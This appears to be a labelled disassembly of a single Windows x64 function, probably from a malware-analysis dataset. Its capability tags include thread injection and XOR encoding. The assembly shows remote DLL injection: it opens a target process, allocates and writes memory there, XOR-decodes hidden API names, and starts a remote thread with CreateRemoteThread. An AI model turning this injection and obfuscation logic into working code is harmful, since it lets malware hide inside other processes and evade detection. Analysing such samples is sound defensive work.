Function at 0x140002630
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbx
sub rsp, 0x180
mov rax, qword [0x14000a040]
xor rax, rsp
mov qword [rsp + 0x170], rax
mov rax, rdx
lea r8, [rsp + 0x60]
mov ebx, ecx
xor r9d, r9d
mov rcx, rax
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetFullPathNameA]
test eax, eax
je 0x140002a66
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140002a66
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x1a8], rdi
call qword [sym.imp.KERNEL32.dll_lstrlenA]
xor edx, edx
mov dword [rsp + 0x20], 0x40
inc eax
mov r9d, 0x3000
movsxd r8, eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
je 0x140002a62
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
lea r8, [rsp + 0x60]
mov qword [rsp + 0x20], 0
inc eax
mov rdx, rdi
movsxd r9, eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140002a62
mov eax, dword [0x1400076b0]
xor r8d, r8d
movsd xmm0, qword [0x1400076a8]
mov dword [rsp + 0x48], eax
movzx eax, byte [0x1400076b4]
mov qword [rsp + 0x1a0], rsi
mov esi, dword [0x14000a088]
mov byte [rsp + 0x4c], al
movsd qword [rsp + 0x40], xmm0
cmp esi, 2
jl 0x140002833
movdqa xmm2, xmmword [0x140007810]
mov r8d, 8
movdqa xmm4, xmmword [0x140007860]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x140007820]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140007830]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [0x1400076a8]
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140007840]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.8888888888888888]
xorps xmm2, xmm0
punpckldq xmm1, xmm3
movd dword [rsp + 0x40], xmm2
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140007830]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [rsp + 0x44]
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140007840]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.8888888888888888]
xorps xmm2, xmm0
movd dword [rsp + 0x44], xmm2
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x140002840
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r9, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x140002a37
mov ecx, dword [0x140007600]
movsd xmm0, qword [str.tV__pTM_3_]
mov dword [rsp + 0x58], ecx
movzx ecx, byte [0x140007604]
mov byte [rsp + 0x5c], cl
xor ecx, ecx
movsd qword [rsp + 0x50], xmm0
cmp esi, 2
jl 0x1400029bc
movdqa xmm2, xmmword [0x140007810]
mov ecx, 8
movdqa xmm4, xmmword [0x140007860]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x140007820]
movdqa xmm0, xmm2
mov eax, dword [str.8888888888888888]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140007830]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140007840]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.tV__pTM_3_]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rsp + 0x50], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140007830]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140007840]
movd xmm1, dword [rsp + 0x54]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x54], xmm2
movsxd rax, ecx
lea r8, [rsp + 0x50]
add r8, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, cl
inc ecx
sub al, dl
add al, 0x38
xor byte [r8 - 1], al
cmp ecx, 0xd
jl 0x1400029d0
lea rdx, [rsp + 0x50]
mov rcx, r9
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140002a37
mov qword [rsp + 0x30], 0
mov r9, rax
mov dword [rsp + 0x28], 0
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rsi, qword [rsp + 0x1a0]
mov al, 1
mov rdi, qword [rsp + 0x1a8]
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.140005840
add rsp, 0x180
pop rbx
ret
mov al, 1
jmp 0x140002a41
mov al, 1
jmp 0x140002a49